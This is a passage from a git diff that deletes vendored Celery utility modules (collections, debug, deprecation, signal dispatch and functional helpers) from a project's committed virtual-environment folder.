= _iterate_values - - -class ConfigurationView(ChainMap, AttributeDictMixin): - """A view over an applications configuration dictionaries. - - Custom (but older) version of :class:`collections.ChainMap`. - - If the key does not exist in ``changes``, the ``defaults`` - dictionaries are consulted. - - Arguments: - changes (Mapping): Map of configuration changes. - defaults (List[Mapping]): List of dictionaries containing - the default configuration. - """ - - def __init__(self, changes, defaults=None, keys=None, prefix=None): - # type: (Mapping, Mapping, List[str], str) -> None - defaults = [] if defaults is None else defaults - super().__init__(changes, *defaults) - self.__dict__.update( - prefix=prefix.rstrip('_') + '_' if prefix else prefix, - _keys=keys, - ) - - def _to_keys(self, key): - # type: (str) -> Sequence[str] - prefix = self.prefix - if prefix: - pkey = prefix + key if not key.startswith(prefix) else key - return match_case(pkey, prefix), key - return key, - - def __getitem__(self, key): - # type: (str) -> Any - keys = self._to_keys(key) - getitem = super().__getitem__ - for k in keys + ( - tuple(f(key) for f in self._keys) if self._keys else ()): - try: - return getitem(k) - except KeyError: - pass - try: - # support subclasses implementing __missing__ - return self.__missing__(key) - except KeyError: - if len(keys) > 1: - raise KeyError( - 'Key not found: {0!r} (with prefix: {0!r})'.format(*keys)) - raise - - def __setitem__(self, key, value): - # type: (str, Any) -> Any - self.changes[self._key(key)] = value - - def first(self, *keys): - # type: (*str) -> Any - return first(None, (self.get(key) for key in keys)) - - def get(self, key, default=None): - # type: (str, Any) -> Any - try: - return self[key] - except KeyError: - return default - - def clear(self): - # type: () -> None - """Remove all changes, but keep defaults.""" - self.changes.clear() - - def __contains__(self, key): - # type: (str) -> bool - keys = self._to_keys(key) - return any(any(k in m for k in keys) for m in self.maps) - - def swap_with(self, other): - # type: (ConfigurationView) -> None - changes = other.__dict__['changes'] - defaults = other.__dict__['defaults'] - self.__dict__.update( - changes=changes, - defaults=defaults, - key_t=other.__dict__['key_t'], - prefix=other.__dict__['prefix'], - maps=[changes] + defaults - ) - - -class LimitedSet: - """Kind-of Set (or priority queue) with limitations. - - Good for when you need to test for membership (`a in set`), - but the set should not grow unbounded. - - ``maxlen`` is enforced at all times, so if the limit is reached - we'll also remove non-expired items. - - You can also configure ``minlen``: this is the minimal residual size - of the set. - - All arguments are optional, and no limits are enabled by default. - - Arguments: - maxlen (int): Optional max number of items. - Adding more items than ``maxlen`` will result in immediate - removal of items sorted by oldest insertion time. - - expires (float): TTL for all items. - Expired items are purged as keys are inserted. - - minlen (int): Minimal residual size of this set. - .. versionadded:: 4.0 - - Value must be less than ``maxlen`` if both are configured. - - Older expired items will be deleted, only after the set - exceeds ``minlen`` number of items. - - data (Sequence): Initial data to initialize set with. - Can be an iterable of ``(key, value)`` pairs, - a dict (``{key: insertion_time}``), or another instance - of :class:`LimitedSet`. - - Example: - >>> s = LimitedSet(maxlen=50000, expires=3600, minlen=4000) - >>> for i in range(60000): - ... s.add(i) - ... s.add(str(i)) - ... - >>> 57000 in s # last 50k inserted values are kept - True - >>> '10' in s # '10' did expire and was purged from set. - False - >>> len(s) # maxlen is reached - 50000 - >>> s.purge(now=time.monotonic() + 7200) # clock + 2 hours - >>> len(s) # now only minlen items are cached - 4000 - >>>> 57000 in s # even this item is gone now - False - """ - - max_heap_percent_overload = 15 - - def __init__(self, maxlen=0, expires=0, data=None, minlen=0): - # type: (int, float, Mapping, int) -> None - self.maxlen = 0 if maxlen is None else maxlen - self.minlen = 0 if minlen is None else minlen - self.expires = 0 if expires is None else expires - self._data = {} - self._heap = [] - - if data: - # import items from data - self.update(data) - - if not self.maxlen >= self.minlen >= 0: - raise ValueError( - 'minlen must be a positive number, less or equal to maxlen.') - if self.expires < 0: - raise ValueError('expires cannot be negative!') - - def _refresh_heap(self): - # type: () -> None - """Time consuming recreating of heap. Don't run this too often.""" - self._heap[:] = [entry for entry in self._data.values()] - heapify(self._heap) - - def _maybe_refresh_heap(self): - # type: () -> None - if self._heap_overload >= self.max_heap_percent_overload: - self._refresh_heap() - - def clear(self): - # type: () -> None - """Clear all data, start from scratch again.""" - self._data.clear() - self._heap[:] = [] - - def add(self, item, now=None): - # type: (Any, float) -> None - """Add a new item, or reset the expiry time of an existing item.""" - now = now or time.monotonic() - if item in self._data: - self.discard(item) - entry = (now, item) - self._data[item] = entry - heappush(self._heap, entry) - if self.maxlen and len(self._data) >= self.maxlen: - self.purge() - - def update(self, other): - # type: (Iterable) -> None - """Update this set from other LimitedSet, dict or iterable.""" - if not other: - return - if isinstance(other, LimitedSet): - self._data.update(other._data) - self._refresh_heap() - self.purge() - elif isinstance(other, dict): - # revokes are sent as a dict - for key, inserted in other.items(): - if isinstance(inserted, (tuple, list)): - # in case someone uses ._data directly for sending update - inserted = inserted[0] - if not isinstance(inserted, float): - raise ValueError( - 'Expecting float timestamp, got type ' - f'{type(inserted)!r} with value: {inserted}') - self.add(key, inserted) - else: - # XXX AVOID THIS, it could keep old data if more parties - # exchange them all over and over again - for obj in other: - self.add(obj) - - def discard(self, item): - # type: (Any) -> None - # mark an existing item as removed. If KeyError is not found, pass. - self._data.pop(item, None) - self._maybe_refresh_heap() - pop_value = discard - - def purge(self, now=None): - # type: (float) -> None - """Check oldest items and remove them if needed. - - Arguments: - now (float): Time of purging -- by default right now. - This can be useful for unit testing. - """ - now = now or time.monotonic() - now = now() if isinstance(now, Callable) else now - if self.maxlen: - while len(self._data) > self.maxlen: - self.pop() - # time based expiring: - if self.expires: - while len(self._data) > self.minlen >= 0: - inserted_time, _ = self._heap[0] - if inserted_time + self.expires > now: - break # oldest item hasn't expired yet - self.pop() - - def pop(self, default: Any = None) -> Any: - """Remove and return the oldest item, or :const:`None` when empty.""" - while self._heap: - _, item = heappop(self._heap) - try: - self._data.pop(item) - except KeyError: - pass - else: - return item - return default - - def as_dict(self): - # type: () -> Dict - """Whole set as serializable dictionary. - - Example: - >>> s = LimitedSet(maxlen=200) - >>> r = LimitedSet(maxlen=200) - >>> for i in range(500): - ... s.add(i) - ... - >>> r.update(s.as_dict()) - >>> r == s - True - """ - return {key: inserted for inserted, key in self._data.values()} - - def __eq__(self, other): - # type: (Any) -> bool - return self._data == other._data - - def __repr__(self): - # type: () -> str - return REPR_LIMITED_SET.format( - self, name=type(self).__name__, size=len(self), - ) - - def __iter__(self): - # type: () -> Iterable - return (i for _, i in sorted(self._data.values())) - - def __len__(self): - # type: () -> int - return len(self._data) - - def __contains__(self, key): - # type: (Any) -> bool - return key in self._data - - def __reduce__(self): - # type: () -> Any - return self.__class__, ( - self.maxlen, self.expires, self.as_dict(), self.minlen) - - def __bool__(self): - # type: () -> bool - return bool(self._data) - __nonzero__ = __bool__ # Py2 - - @property - def _heap_overload(self): - # type: () -> float - """Compute how much is heap bigger than data [percents].""" - return len(self._heap) * 100 / max(len(self._data), 1) - 100 - - -MutableSet.register(LimitedSet) - - -class Evictable: - """Mixin for classes supporting the ``evict`` method.""" - - Empty = Empty - - def evict(self) -> None: - """Force evict until maxsize is enforced.""" - self._evict(range=count) - - def _evict(self, limit: int = 100, range=range) -> None: - try: - [self._evict1() for _ in range(limit)] - except IndexError: - pass - - def _evict1(self) -> None: - if self._evictcount <= self.maxsize: - raise IndexError() - try: - self._pop_to_evict() - except self.Empty: - raise IndexError() - - -class Messagebuffer(Evictable): - """A buffer of pending messages.""" - - Empty = Empty - - def __init__(self, maxsize, iterable=None, deque=deque): - # type: (int, Iterable, Any) -> None - self.maxsize = maxsize - self.data = deque(iterable or []) - self._append = self.data.append - self._pop = self.data.popleft - self._len = self.data.__len__ - self._extend = self.data.extend - - def put(self, item): - # type: (Any) -> None - self._append(item) - self.maxsize and self._evict() - - def extend(self, it): - # type: (Iterable) -> None - self._extend(it) - self.maxsize and self._evict() - - def take(self, *default): - # type: (*Any) -> Any - try: - return self._pop() - except IndexError: - if default: - return default[0] - raise self.Empty() - - def _pop_to_evict(self): - # type: () -> None - return self.take() - - def __repr__(self): - # type: () -> str - return f'<{type(self).__name__}: {len(self)}/{self.maxsize}>' - - def __iter__(self): - # type: () -> Iterable - while 1: - try: - yield self._pop() - except IndexError: - break - - def __len__(self): - # type: () -> int - return self._len() - - def __contains__(self, item) -> bool: - return item in self.data - - def __reversed__(self): - # type: () -> Iterable - return reversed(self.data) - - def __getitem__(self, index): - # type: (Any) -> Any - return self.data[index] - - @property - def _evictcount(self): - # type: () -> int - return len(self) - - -Sequence.register(Messagebuffer) - - -class BufferMap(OrderedDict, Evictable): - """Map of buffers.""" - - Buffer = Messagebuffer - Empty = Empty - - maxsize = None - total = 0 - bufmaxsize = None - - def __init__(self, maxsize, iterable=None, bufmaxsize=1000): - # type: (int, Iterable, int) -> None - super().__init__() - self.maxsize = maxsize - self.bufmaxsize = 1000 - if iterable: - self.update(iterable) - self.total = sum(len(buf) for buf in self.items()) - - def put(self, key, item): - # type: (Any, Any) -> None - self._get_or_create_buffer(key).put(item) - self.total += 1 - self.move_to_end(key) # least recently used. - self.maxsize and self._evict() - - def extend(self, key, it): - # type: (Any, Iterable) -> None - self._get_or_create_buffer(key).extend(it) - self.total += len(it) - self.maxsize and self._evict() - - def take(self, key, *default): - # type: (Any, *Any) -> Any - item, throw = None, False - try: - buf = self[key] - except KeyError: - throw = True - else: - try: - item = buf.take() - self.total -= 1 - except self.Empty: - throw = True - else: - self.move_to_end(key) # mark as LRU - - if throw: - if default: - return default[0] - raise self.Empty() - return item - - def _get_or_create_buffer(self, key): - # type: (Any) -> Messagebuffer - try: - return self[key] - except KeyError: - buf = self[key] = self._new_buffer() - return buf - - def _new_buffer(self): - # type: () -> Messagebuffer - return self.Buffer(maxsize=self.bufmaxsize) - - def _LRUpop(self, *default): - # type: (*Any) -> Any - return self[self._LRUkey()].take(*default) - - def _pop_to_evict(self): - # type: () -> None - for _ in range(100): - key = self._LRUkey() - buf = self[key] - try: - buf.take() - except (IndexError, self.Empty): - # buffer empty, remove it from mapping. - self.pop(key) - else: - # we removed one item - self.total -= 1 - # if buffer is empty now, remove it from mapping. - if not len(buf): - self.pop(key) - else: - # move to least recently used. - self.move_to_end(key) - break - - def __repr__(self): - # type: () -> str - return f'<{type(self).__name__}: {self.total}/{self.maxsize}>' - - @property - def _evictcount(self): - # type: () -> int - return self.total diff --git a/venv/Lib/site-packages/celery/utils/debug.py b/venv/Lib/site-packages/celery/utils/debug.py deleted file mode 100644 index 3515dc84f9b841feb94f0bde119df749e97f2631..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/debug.py +++ /dev/null @@ -1,193 +0,0 @@ -"""Utilities for debugging memory usage, blocking calls, etc.""" -import os -import sys -import traceback -from contextlib import contextmanager -from functools import partial -from pprint import pprint - -from celery.platforms import signals -from celery.utils.text import WhateverIO - -try: - from psutil import Process -except ImportError: - Process = None - -__all__ = ( - 'blockdetection', 'sample_mem', 'memdump', 'sample', - 'humanbytes', 'mem_rss', 'ps', 'cry', -) - -UNITS = ( - (2 ** 40.0, 'TB'), - (2 ** 30.0, 'GB'), - (2 ** 20.0, 'MB'), - (2 ** 10.0, 'KB'), - (0.0, 'b'), -) - -_process = None -_mem_sample = [] - - -def _on_blocking(signum, frame): - import inspect - raise RuntimeError( - f'Blocking detection timed-out at: {inspect.getframeinfo(frame)}' - ) - - -@contextmanager -def blockdetection(timeout): - """Context that raises an exception if process is blocking. - - Uses ``SIGALRM`` to detect blocking functions. - """ - if not timeout: - yield - else: - old_handler = signals['ALRM'] - old_handler = None if old_handler == _on_blocking else old_handler - - signals['ALRM'] = _on_blocking - - try: - yield signals.arm_alarm(timeout) - finally: - if old_handler: - signals['ALRM'] = old_handler - signals.reset_alarm() - - -def sample_mem(): - """Sample RSS memory usage. - - Statistics can then be output by calling :func:`memdump`. - """ - current_rss = mem_rss() - _mem_sample.append(current_rss) - return current_rss - - -def _memdump(samples=10): # pragma: no cover - S = _mem_sample - prev = list(S) if len(S) <= samples else sample(S, samples) - _mem_sample[:] = [] - import gc - gc.collect() - after_collect = mem_rss() - return prev, after_collect - - -def memdump(samples=10, file=None): # pragma: no cover - """Dump memory statistics. - - Will print a sample of all RSS memory samples added by - calling :func:`sample_mem`, and in addition print - used RSS memory after :func:`gc.collect`. - """ - say = partial(print, file=file) - if ps() is None: - say('- rss: (psutil not installed).') - return - prev, after_collect = _memdump(samples) - if prev: - say('- rss (sample):') - for mem in prev: - say(f'- > {mem},') - say(f'- rss (end): {after_collect}.') - - -def sample(x, n, k=0): - """Given a list `x` a sample of length ``n`` of that list is returned. - - For example, if `n` is 10, and `x` has 100 items, a list of every tenth. - item is returned. - - ``k`` can be used as offset. - """ - j = len(x) // n - for _ in range(n): - try: - yield x[k] - except IndexError: - break - k += j - - -def hfloat(f, p=5): - """Convert float to value suitable for humans. - - Arguments: - f (float): The floating point number. - p (int): Floating point precision (default is 5). - """ - i = int(f) - return i if i == f else '{0:.{p}}'.format(f, p=p) - - -def humanbytes(s): - """Convert bytes to human-readable form (e.g., KB, MB).""" - return next( - f'{hfloat(s / div if div else s)}{unit}' - for div, unit in UNITS if s >= div - ) - - -def mem_rss(): - """Return RSS memory usage as a humanized string.""" - p = ps() - if p is not None: - return humanbytes(_process_memory_info(p).rss) - - -def ps(): # pragma: no cover - """Return the global :class:`psutil.Process` instance. - - Note: - Returns :const:`None` if :pypi:`psutil` is not installed. - """ - global _process - if _process is None and Process is not None: - _process = Process(os.getpid()) - return _process - - -def _process_memory_info(process): - try: - return process.memory_info() - except AttributeError: - return process.get_memory_info() - - -def cry(out=None, sepchr='=', seplen=49): # pragma: no cover - """Return stack-trace of all active threads. - - See Also: - Taken from https://gist.github.com/737056. - """ - import threading - - out = WhateverIO() if out is None else out - P = partial(print, file=out) - - # get a map of threads by their ID so we can print their names - # during the traceback dump - tmap = {t.ident: t for t in threading.enumerate()} - - sep = sepchr * seplen - for tid, frame in sys._current_frames().items(): - thread = tmap.get(tid) - if not thread: - # skip old junk (left-overs from a fork) - continue - P(f'{thread.name}') - P(sep) - traceback.print_stack(frame, file=out) - P(sep) - P('LOCAL VARIABLES') - P(sep) - pprint(frame.f_locals, stream=out) - P('\n') - return out.getvalue() diff --git a/venv/Lib/site-packages/celery/utils/deprecated.py b/venv/Lib/site-packages/celery/utils/deprecated.py deleted file mode 100644 index a08b08b9fc7d67e1bb767f02531ce6a03ba384b3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/deprecated.py +++ /dev/null @@ -1,113 +0,0 @@ -"""Deprecation utilities.""" -import warnings - -from vine.utils import wraps - -from celery.exceptions import CDeprecationWarning, CPendingDeprecationWarning - -__all__ = ('Callable', 'Property', 'warn') - - -PENDING_DEPRECATION_FMT = """ - {description} is scheduled for deprecation in \ - version {deprecation} and removal in version v{removal}. \ - {alternative} -""" - -DEPRECATION_FMT = """ - {description} is deprecated and scheduled for removal in - version {removal}. {alternative} -""" - - -def warn(description=None, deprecation=None, - removal=None, alternative=None, stacklevel=2): - """Warn of (pending) deprecation.""" - ctx = {'description': description, - 'deprecation': deprecation, 'removal': removal, - 'alternative': alternative} - if deprecation is not None: - w = CPendingDeprecationWarning(PENDING_DEPRECATION_FMT.format(**ctx)) - else: - w = CDeprecationWarning(DEPRECATION_FMT.format(**ctx)) - warnings.warn(w, stacklevel=stacklevel) - - -def Callable(deprecation=None, removal=None, - alternative=None, description=None): - """Decorator for deprecated functions. - - A deprecation warning will be emitted when the function is called. - - Arguments: - deprecation (str): Version that marks first deprecation, if this - argument isn't set a ``PendingDeprecationWarning`` will be - emitted instead. - removal (str): Future version when this feature will be removed. - alternative (str): Instructions for an alternative solution (if any). - description (str): Description of what's being deprecated. - """ - def _inner(fun): - - @wraps(fun) - def __inner(*args, **kwargs): - from .imports import qualname - warn(description=description or qualname(fun), - deprecation=deprecation, - removal=removal, - alternative=alternative, - stacklevel=3) - return fun(*args, **kwargs) - return __inner - return _inner - - -def Property(deprecation=None, removal=None, - alternative=None, description=None): - """Decorator for deprecated properties.""" - def _inner(fun): - return _deprecated_property( - fun, deprecation=deprecation, removal=removal, - alternative=alternative, description=description or fun.__name__) - return _inner - - -class _deprecated_property: - - def __init__(self, fget=None, fset=None, fdel=None, doc=None, **depreinfo): - self.__get = fget - self.__set = fset - self.__del = fdel - self.__name__, self.__module__, self.__doc__ = ( - fget.__name__, fget.__module__, fget.__doc__, - ) - self.depreinfo = depreinfo - self.depreinfo.setdefault('stacklevel', 3) - - def __get__(self, obj, type=None): - if obj is None: - return self - warn(**self.depreinfo) - return self.__get(obj) - - def __set__(self, obj, value): - if obj is None: - return self - if self.__set is None: - raise AttributeError('cannot set attribute') - warn(**self.depreinfo) - self.__set(obj, value) - - def __delete__(self, obj): - if obj is None: - return self - if self.__del is None: - raise AttributeError('cannot delete attribute') - warn(**self.depreinfo) - self.__del(obj) - - def setter(self, fset): - return self.__class__(self.__get, fset, self.__del, **self.depreinfo) - - def deleter(self, fdel): - return self.__class__(self.__get, self.__set, fdel, **self.depreinfo) diff --git a/venv/Lib/site-packages/celery/utils/dispatch/__init__.py b/venv/Lib/site-packages/celery/utils/dispatch/__init__.py deleted file mode 100644 index b9329a7e8b0649845030ec77606041642f8dff57..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/dispatch/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -"""Observer pattern.""" -from .signal import Signal - -__all__ = ('Signal',) diff --git a/venv/Lib/site-packages/celery/utils/dispatch/signal.py b/venv/Lib/site-packages/celery/utils/dispatch/signal.py deleted file mode 100644 index ad8047e6bd7f5bd4e13dfb15ce6ce904af2d3eee..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/dispatch/signal.py +++ /dev/null @@ -1,358 +0,0 @@ -"""Implementation of the Observer pattern.""" -import sys -import threading -import warnings -import weakref -from weakref import WeakMethod - -from kombu.utils.functional import retry_over_time - -from celery.exceptions import CDeprecationWarning -from celery.local import PromiseProxy, Proxy -from celery.utils.functional import fun_accepts_kwargs -from celery.utils.log import get_logger -from celery.utils.time import humanize_seconds - -__all__ = ('Signal',) - -logger = get_logger(__name__) - - -def _make_id(target): # pragma: no cover - if isinstance(target, Proxy): - target = target._get_current_object() - if isinstance(target, (bytes, str)): - # see Issue #2475 - return target - if hasattr(target, '__func__'): - return id(target.__func__) - return id(target) - - -def _boundmethod_safe_weakref(obj): - """Get weakref constructor appropriate for `obj`. `obj` may be a bound method. - - Bound method objects must be special-cased because they're usually garbage - collected immediately, even if the instance they're bound to persists. - - Returns: - a (weakref constructor, main object) tuple. `weakref constructor` is - either :class:`weakref.ref` or :class:`weakref.WeakMethod`. `main - object` is the instance that `obj` is bound to if it is a bound method; - otherwise `main object` is simply `obj. - """ - try: - obj.__func__ - obj.__self__ - # Bound method - return WeakMethod, obj.__self__ - except AttributeError: - # Not a bound method - return weakref.ref, obj - - -def _make_lookup_key(receiver, sender, dispatch_uid): - if dispatch_uid: - return (dispatch_uid, _make_id(sender)) - # Issue #9119 - retry-wrapped functions use the underlying function for dispatch_uid - elif hasattr(receiver, '_dispatch_uid'): - return (receiver._dispatch_uid, _make_id(sender)) - else: - return (_make_id(receiver), _make_id(sender)) - - -NONE_ID = _make_id(None) - -NO_RECEIVERS = object() - -RECEIVER_RETRY_ERROR = """\ -Could not process signal receiver %(receiver)s. Retrying %(when)s...\ -""" - - -class Signal: # pragma: no cover - """Create new signal. - - Keyword Arguments: - providing_args (List): A list of the arguments this signal can pass - along in a :meth:`send` call. - use_caching (bool): Enable receiver cache. - name (str): Name of signal, used for debugging purposes. - """ - - #: Holds a dictionary of - #: ``{receiverkey (id): weakref(receiver)}`` mappings. - receivers = None - - def __init__(self, providing_args=None, use_caching=False, name=None): - self.receivers = [] - self.providing_args = set( - providing_args if providing_args is not None else []) - self.lock = threading.Lock() - self.use_caching = use_caching - self.name = name - # For convenience we create empty caches even if they are not used. - # A note about caching: if use_caching is defined, then for each - # distinct sender we cache the receivers that sender has in - # 'sender_receivers_cache'. The cache is cleaned when .connect() or - # .disconnect() is called and populated on .send(). - self.sender_receivers_cache = ( - weakref.WeakKeyDictionary() if use_caching else {} - ) - self._dead_receivers = False - - def _connect_proxy(self, fun, sender, weak, dispatch_uid): - return self.connect( - fun, sender=sender._get_current_object(), - weak=weak, dispatch_uid=dispatch_uid, - ) - - def connect(self, *args, **kwargs): - """Connect receiver to sender for signal. - - Arguments: - receiver (Callable): A function or an instance method which is to - receive signals. Receivers must be hashable objects. - - if weak is :const:`True`, then receiver must be - weak-referenceable. - - Receivers must be able to accept keyword arguments. - - If receivers have a `dispatch_uid` attribute, the receiver will - not be added if another receiver already exists with that - `dispatch_uid`. - - sender (Any): The sender to which the receiver should respond. - Must either be a Python object, or :const:`None` to - receive events from any sender. - - weak (bool): Whether to use weak references to the receiver. - By default, the module will attempt to use weak references to - the receiver objects. If this parameter is false, then strong - references will be used. - - dispatch_uid (Hashable): An identifier used to uniquely identify a - particular instance of a receiver. This will usually be a - string, though it may be anything hashable. - - retry (bool): If the signal receiver raises an exception - (e.g. ConnectionError), the receiver will be retried until it - runs successfully. A strong ref to the receiver will be stored - and the `weak` option will be ignored. - """ - def _handle_options(sender=None, weak=True, dispatch_uid=None, - retry=False): - - def _connect_signal(fun): - - options = {'dispatch_uid': dispatch_uid, - 'weak': weak} - - def _retry_receiver(retry_fun): - - def _try_receiver_over_time(*args, **kwargs): - def on_error(exc, intervals, retries): - interval = next(intervals) - err_msg = RECEIVER_RETRY_ERROR % \ - {'receiver': retry_fun, - 'when': humanize_seconds(interval, 'in', ' ')} - logger.error(err_msg) - return interval - - return retry_over_time(retry_fun, Exception, args, - kwargs, on_error) - - return _try_receiver_over_time - - if retry: - options['weak'] = False - if not dispatch_uid: - # if there's no dispatch_uid then we need to set the - # dispatch uid to the original func id so we can look - # it up later with the original func id - options['dispatch_uid'] = _make_id(fun) - fun = _retry_receiver(fun) - fun._dispatch_uid = options['dispatch_uid'] - - self._connect_signal(fun, sender, options['weak'], - options['dispatch_uid']) - return fun - - return _connect_signal - - if args and callable(args[0]): - return _handle_options(*args[1:], **kwargs)(args[0]) - return _handle_options(*args, **kwargs) - - def _connect_signal(self, receiver, sender, weak, dispatch_uid): - assert callable(receiver), 'Signal receivers must be callable' - if not fun_accepts_kwargs(receiver): - raise ValueError( - 'Signal receiver must accept keyword arguments.') - - if isinstance(sender, PromiseProxy): - sender.__then__( - self._connect_proxy, receiver, sender, weak, dispatch_uid, - ) - return receiver - - lookup_key = _make_lookup_key(receiver, sender, dispatch_uid) - - if weak: - ref, receiver_object = _boundmethod_safe_weakref(receiver) - receiver = ref(receiver) - weakref.finalize(receiver_object, self._remove_receiver) - - with self.lock: - self._clear_dead_receivers() - for r_key, _ in self.receivers: - if r_key == lookup_key: - break - else: - self.receivers.append((lookup_key, receiver)) - self.sender_receivers_cache.clear() - - return receiver - - def disconnect(self, receiver=None, sender=None, weak=None, - dispatch_uid=None): - """Disconnect receiver from sender for signal. - - If weak references are used, disconnect needn't be called. - The receiver will be removed from dispatch automatically. - - Arguments: - receiver (Callable): The registered receiver to disconnect. - May be none if `dispatch_uid` is specified. - - sender (Any): The registered sender to disconnect. - - weak (bool): The weakref state to disconnect. - - dispatch_uid (Hashable): The unique identifier of the receiver - to disconnect. - """ - if weak is not None: - warnings.warn( - 'Passing `weak` to disconnect has no effect.', - CDeprecationWarning, stacklevel=2) - - lookup_key = _make_lookup_key(receiver, sender, dispatch_uid) - - disconnected = False - with self.lock: - self._clear_dead_receivers() - for index in range(len(self.receivers)): - (r_key, _) = self.receivers[index] - if r_key == lookup_key: - disconnected = True - del self.receivers[index] - break - self.sender_receivers_cache.clear() - return disconnected - - def has_listeners(self, sender=None): - return bool(self._live_receivers(sender)) - - def send(self, sender, **named): - """Send signal from sender to all connected receivers. - - If any receiver raises an error, the exception is returned as the - corresponding response. (This is different from the "send" in - Django signals. In Celery "send" and "send_robust" do the same thing.) - - Arguments: - sender (Any): The sender of the signal. - Either a specific object or :const:`None`. - **named (Any): Named arguments which will be passed to receivers. - - Returns: - List: of tuple pairs: `[(receiver, response), … ]`. - """ - responses = [] - if not self.receivers or \ - self.sender_receivers_cache.get(sender) is NO_RECEIVERS: - return responses - - for receiver in self._live_receivers(sender): - try: - response = receiver(signal=self, sender=sender, **named) - except Exception as exc: # pylint: disable=broad-except - if not hasattr(exc, '__traceback__'): - exc.__traceback__ = sys.exc_info()[2] - logger.exception( - 'Signal handler %r raised: %r', receiver, exc) - responses.append((receiver, exc)) - else: - responses.append((receiver, response)) - return responses - send_robust = send # Compat with Django interface. - - def _clear_dead_receivers(self): - # Warning: caller is assumed to hold self.lock - if self._dead_receivers: - self._dead_receivers = False - new_receivers = [] - for r in self.receivers: - if isinstance(r[1], weakref.ReferenceType) and r[1]() is None: - continue - new_receivers.append(r) - self.receivers = new_receivers - - def _live_receivers(self, sender): - """Filter sequence of receivers to get resolved, live receivers. - - This checks for weak references and resolves them, then returning only - live receivers. - """ - receivers = None - if self.use_caching and not self._dead_receivers: - receivers = self.sender_receivers_cache.get(sender) - # We could end up here with NO_RECEIVERS even if we do check this - # case in .send() prior to calling _Live_receivers() due to - # concurrent .send() call. - if receivers is NO_RECEIVERS: - return [] - if receivers is None: - with self.lock: - self._clear_dead_receivers() - senderkey = _make_id(sender) - receivers = [] - for (receiverkey, r_senderkey), receiver in self.receivers: - if r_senderkey == NONE_ID or r_senderkey == senderkey: - receivers.append(receiver) - if self.use_caching: - if not receivers: - self.sender_receivers_cache[sender] = NO_RECEIVERS - else: - # Note: we must cache the weakref versions. - self.sender_receivers_cache[sender] = receivers - non_weak_receivers = [] - for receiver in receivers: - if isinstance(receiver, weakref.ReferenceType): - # Dereference the weak reference. - receiver = receiver() - if receiver is not None: - non_weak_receivers.append(receiver) - else: - non_weak_receivers.append(receiver) - return non_weak_receivers - - def _remove_receiver(self, receiver=None): - """Remove dead receivers from connections.""" - # Mark that the self..receivers first has dead weakrefs. If so, - # we will clean those up in connect, disconnect and _live_receivers - # while holding self.lock. Note that doing the cleanup here isn't a - # good idea, _remove_receiver() will be called as a side effect of - # garbage collection, and so the call can happen wh ile we are already - # holding self.lock. - self._dead_receivers = True - - def __repr__(self): - """``repr(signal)``.""" - return f'<{type(self).__name__}: {self.name} providing_args={self.providing_args!r}>' - - def __str__(self): - """``str(signal)``.""" - return repr(self) diff --git a/venv/Lib/site-packages/celery/utils/functional.py b/venv/Lib/site-packages/celery/utils/functional.py deleted file mode 100644 index f9a4d4600d538c453752b56fe9ee35086942211a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/functional.py +++ /dev/null @@ -1,448 +0,0 @@ -"""Functional-style utilities.""" -import inspect -import sys -from collections import UserList -from functools import partial -from itertools import islice, tee, zip_longest -from typing import Any, Callable - -from kombu.utils.functional import LRUCache, dictfilter, is_list, lazy, maybe_evaluate, maybe_list, memoize -from vine import promise - -from celery.utils.log import get_logger - -logger = get_logger(__name__) - -__all__ = ( - 'LRUCache', 'is_list', 'maybe_list', 'memoize', 'mlazy', 'noop', - 'first', 'firstmethod', 'chunks', 'padlist', 'mattrgetter', 'uniq', - 'regen', 'dictfilter', 'lazy', 'maybe_evaluate', 'head_from_fun', - 'maybe', 'fun_accepts_kwargs', -) - -FUNHEAD_TEMPLATE = """ -def {fun_name}({fun_args}): - return {fun_value} -""" - - -class DummyContext: - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - pass - - -class mlazy(lazy): - """Memoized lazy evaluation. - - The function is only evaluated once, every subsequent access - will return the same value. - """ - - #: Set to :const:`True` after the object has been evaluated. - evaluated = False - _value = None - - def evaluate(self): - if not self.evaluated: - self._value = super().evaluate() - self.evaluated = True - return self._value - - -def noop(*args, **kwargs): - """No operation. - - Takes any arguments/keyword arguments and does nothing. - """ - - -def pass1(arg, *args, **kwargs): - """Return the first positional argument.""" - return arg - - -def evaluate_promises(it): - for value in it: - if isinstance(value, promise): - value = value() - yield value - - -def first(predicate, it): - """Return the first element in ``it`` that ``predicate`` accepts. - - If ``predicate`` is None it will return the first item that's not - :const:`None`. - """ - return next( - (v for v in evaluate_promises(it) if ( - predicate(v) if predicate is not None else v is not None)), - None, - ) - - -def firstmethod(method, on_call=None): - """Multiple dispatch. - - Return a function that with a list of instances, - finds the first instance that gives a value for the given method. - - The list can also contain lazy instances - (:class:`~kombu.utils.functional.lazy`.) - """ - - def _matcher(it, *args, **kwargs): - for obj in it: - try: - meth = getattr(maybe_evaluate(obj), method) - reply = (on_call(meth, *args, **kwargs) if on_call - else meth(*args, **kwargs)) - except AttributeError: - pass - else: - if reply is not None: - return reply - - return _matcher - - -def chunks(it, n): - """Split an iterator into chunks with `n` elements each. - - Warning: - ``it`` must be an actual iterator, if you pass this a - concrete sequence will get you repeating elements. - - So ``chunks(iter(range(1000)), 10)`` is fine, but - ``chunks(range(1000), 10)`` is not. - - Example: - # n == 2 - >>> x = chunks(iter([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]), 2) - >>> list(x) - [[0, 1], [2, 3], [4, 5], [6, 7], [8, 9], [10]] - - # n == 3 - >>> x = chunks(iter([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]), 3) - >>> list(x) - [[0, 1, 2], [3, 4, 5], [6, 7, 8], [9, 10]] - """ - for item in it: - yield [item] + list(islice(it, n - 1)) - - -def padlist(container, size, default=None): - """Pad list with default elements. - - Example: - >>> first, last, city = padlist(['George', 'Costanza', 'NYC'], 3) - ('George', 'Costanza', 'NYC') - >>> first, last, city = padlist(['George', 'Costanza'], 3) - ('George', 'Costanza', None) - >>> first, last, city, planet = padlist( - ... ['George', 'Costanza', 'NYC'], 4, default='Earth', - ... ) - ('George', 'Costanza', 'NYC', 'Earth') - """ - return list(container)[:size] + [default] * (size - len(container)) - - -def mattrgetter(*attrs): - """Get attributes, ignoring attribute errors. - - 